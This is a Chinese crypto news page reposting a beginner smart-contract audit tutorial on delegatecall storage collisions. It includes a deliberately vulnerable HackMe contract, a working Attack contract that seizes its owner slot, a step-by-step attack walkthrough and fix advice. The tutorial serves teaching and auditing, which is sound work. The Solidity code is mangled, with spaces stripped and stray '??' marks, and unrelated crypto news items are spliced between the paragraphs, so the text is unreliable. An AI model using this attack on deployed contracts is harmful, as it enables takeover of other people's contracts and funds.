以太坊價格 以太坊價格
Ctrl+D 以太坊價格
ads

HAC:智能合約安全審計入門篇 —— delegatecall (2)

Author:

Time:1900/1/1 0:00:00

上篇文章中我們了解了什么是delegatecall函數以及一個基礎的漏洞,這篇文章的目的是加深一下大家對delegatecall的印象并帶大家一起去玩點刺激的,拿下一個進階版的漏洞合約。

這里就不再重復之前的基礎知識了,不了解或者遺忘的可以再看看上一篇文章:《智能合約安全審計入門篇——delegatecall(1)》。

漏洞示例

contractLib{??uintpublicsomeNumber;??functiondoSomething(uint_num)public{????someNumber=_num;??}}contractHackMe{??addresspubliclib;??addresspublicowner;??uintpublicsomeNumber;??constructor(address_lib){????lib=_lib;????owner=msg.sender;??}??functiondoSomething(uint_num)public{????lib.delegatecall(abi.encodeWithSignature("doSomething(uint256)",_num));??}}

數據:95%的ARKM空投接收錢包已將代幣全部或部分轉移:金色財經報道,據21Shares母公司21co鏈上分析師Tom Wan披露數據顯示,截至目前,仍有約100萬枚Arkham代幣 ARKM未被申領,占比為3.32%。此外,截至目前有約6.1萬個空投接收錢包將ARKM代幣全部或部分轉移,占比達到95%。[2023/7/28 16:04:24]

漏洞分析

這次的攻擊目標依然是獲得HackMe合約中的?owner?權限,我們可以看到兩個合約中除了HackMe合約中的構造函數可以修改合約的?owner?其他地方并沒有修改?owner?的函數。我們要如何完成攻擊呢?這里需要一點小技巧,大家可以思考一下,剛好也可以驗證一下自己對于之前知識的掌握程度以及自己的思維是否活躍。

是否有想法呢?沒有想法也沒關系,我們一起來看攻擊是如何完成的:

灰度 GBTC 負溢價率已收窄至 30%:金色財經報道,據 Coinglass 數據顯示,當前灰度總持倉量約為 254.25 億美元,其中灰度比特幣信托基金(GBTC)的負溢價率為 30%;ETH 信托負溢價率為 46.67%。此外,ETC 信托負溢價為 54.3%,LTC 信托負溢價為 33.01%。[2023/7/3 22:14:29]

攻擊合約

//SPDX-License-Identifier:MITpragmasolidity^0.8.13;contractAttack{??//MakesurethestoragelayoutisthesameasHackMe??//Thiswillallowustocorrectlyupdatethestatevariables??addresspubliclib;??addresspublicowner;??uintpublicsomeNumber;??HackMepublichackMe;??constructor(HackMe_hackMe){????hackMe=HackMe(_hackMe);??}??functionattack()public{????//overrideaddressoflib????hackMe.doSomething(uint(uint160(address(this))));????//passanynumberasinput,thefunctiondoSomething()belowwill????//becalled????hackMe.doSomething(1);??}??//functionsignaturemustmatchHackMe.doSomething()??functiondoSomething(uint_num)public{????owner=msg.sender;??}}

NFT抵押品流動性和擴展解決方案MetaStreet上線NFT借貸產品ATM:6月20日消息,NFT抵押品流動性和擴展解決方案MetaStreet上線NFT借貸產品ATM,該產品無需許可,允許貸方設定自己的條款,借款人可在提供不同貸款條款的貸方中獲得最佳執行。[2023/6/20 21:48:17]

我們先看攻擊流程:

1.Alice部署Lib合約;

2.Alice部署HackMe合約并在構造函數中傳入Lib合約的地址;

3.攻擊者Eve部署Attack合約并在構造函數中傳入HackMe合約的地址;

4.攻擊者調用Attack.attack()函數將HackMe合約中的owner變為自己。

咋回事兒呢?其實這個攻擊方式就是很巧妙的運用了delegatecall這個函數修改storage類型變量時的特征:delegatecall函數的執行環境是調用者的環境并且對于storage類型變量的修改是根據被調用合約變量存儲的插槽位置來修改的。

HIVE Blockchain1月共產出260枚比特幣,總余額同比增長20%:2月7日消息,比特幣礦企HIVE Blockchain1月共產出260枚比特幣,環比增長21%,其能源價格對沖和電網平衡策略產生了18萬美元的額外收入。同時HIVE的總比特幣余額達2430枚,同比2022年1月(2043枚)增長20%。HIVE表示預計接下來兩個月將繼續上架645臺由Intel Blockscale提供支持的HIVE BuzzMiner比特幣礦機,使總數達到6300臺。[2023/2/7 11:51:54]

1.Attack.attack()函數先將自己的地址轉換為uint256類型第一次調用HackMe.doSomething()函數;

2.HackMe.doSomething()函數使用delegatecall函數帶著傳入的Attack合約的地址調用了Lib.doSomething()函數;

印度電子和信息技術部長暗示將不再禁止加密貨幣并放寬加密稅:金色財經報道,印度電子和信息技術部長 Rajeev Chandrasekhar 今日就該國加密業務發表重要聲明,他表示,只要遵守法律程序,沒有什么可以禁止加密貨幣,如果想要投資加密貨幣,需要確保通過印度央行并安規則獲得 LRS 許可。該聲明意味著在很大程度上消除有關印度可能禁止加密貨幣的猜測,此外,印度預計也將在即將到來的國家年度預算中調整放寬加密稅。[2023/1/19 11:21:26]

3.可以看到Lib.doSomething()函數將合約中存儲位置為slot0的參數改為傳入的值,這樣當HackMe合約使用delegatecall調用Lib.doSomething()函數時也將改變自己在slot0位置存儲的變量的值,也就是將lib參數改為我們傳入的Attack合約的地址。此時之前在HackMe.lib參數中存儲的Lib合約的地址就被修改成我們傳入的Attack合約的地址了;

4.Attack.attack()函數再次調用HackMe.doSomething()函數,由于在上一步我們已經將HackMe.lib變量修改為Attack合約的地址了,這時HackMe.doSomething()函數將不再調用之前的Lib合約而是用delegatecall去調用Attack.doSomething()函數。此時我們再來觀察Attack合約的寫法,發現其變量的存儲位置故意和HackMe合約保持一致,并且不難發現Attack.doSomething()函數的內容也被攻擊者寫為owner=msg.sender,這個操作修改了合約中存儲位置為slot1的變量。所以HackMe合約使用delegatecall調用Attack.doSomething()函數就會將合約中存儲位置為slot1的變量owner修改為msg.sender也就是Eve的地址,至此攻擊者完成了他的攻擊。

修復建議

作為開發者

1.?在使用delegatecall時應注意被調用合約的地址不能是可控的;

2.?在較為復雜的合約環境下需要注意變量的聲明順序以及存儲位置。因為使用delegatecall進行外部調用時會根據被調用合約的數據結構來修改本合約相應slot中存儲的數據,當數據結構發生變化時這可能會造成非預期的變量覆蓋。

作為審計者

1.在審計過程中遇到合約中有使用delegatecall時需要注意被調用的合約地址是否可控;

2.當被調用合約中的函數存在修改storage變量的情況時需要注意變量存儲插槽的位置,避免由于數據結構不一致而導致本合約中存儲的storage變量被錯誤的覆蓋。

來源:金色財經

Tags:ACKHACSOMESOMQUACKRadioShackSOME價格somee幣的用途

狗狗幣最新價格
NFT:JZL Capital | 建設去中心化社會 靈魂綁定代幣介紹

今年5月,Vitalik在論文《DecentralizedSociety:FindingWeb3’sSoul》中提出了靈魂綁定代幣和去中心化社會的概念、用例和挑戰.

1900/1/1 0:00:00
加密貨幣:當今交易所之怪現狀

???大家看到這兩年交易所頻頻出手贊助簽約各大賽事和明星,但考慮過為什么是交易所去做這件事,而不是錢包或者項目方么?????答案是,加密貨幣交易所是目前唯一能夠跑通落地盈利且合規的商業模式.

1900/1/1 0:00:00
DBOX:王菲律師:不宜簡單將個人出售虛擬貨幣行為認定為非法經營罪

看到這個標題,很多人會說我是標題黨。先別急著杠我,我們來看個真實案例。為了保護當事人信息,同時避免蹭張三和李四的熱度,王律師的故事主人公就統一叫王五吧.

1900/1/1 0:00:00
AYS:MalaysiaSwap,獲得“世界數字經濟卓越企業成就大獎”

2022年6月28日,世界數字經濟與科技高峰論壇大會在馬來西亞吉隆坡大華酒店舉辦,論壇主要以數字經濟對馬來西亞和世界經濟發展發揮著重要的作用為主題,以數據資源作為關鍵的生產要素.

1900/1/1 0:00:00
TST:導演6.30日行情分析 熊途路漫漫 大餅1H中樞下沿震蕩 看下沿是否能夠支撐得住

導演第730篇原創每日行情分析2022.06.30 第一部分市場情緒? 《富爸爸窮爸爸》作者:比特幣可能跌至約1萬美元:金色財經報道,《富爸爸.

1900/1/1 0:00:00
BTC:為什么我們說“2022年是數字資產歷史上最嚴重的熊市”?

本輪場熊市對比特幣和以太坊造成了非常嚴重的打擊,二者的當前價格都低于上一輪周期的最高價。許多鏈上和市場表現指標達到歷史偏低水平。2021-22?年度的所有投資者均陷入未實現虧損.

1900/1/1 0:00:00
ads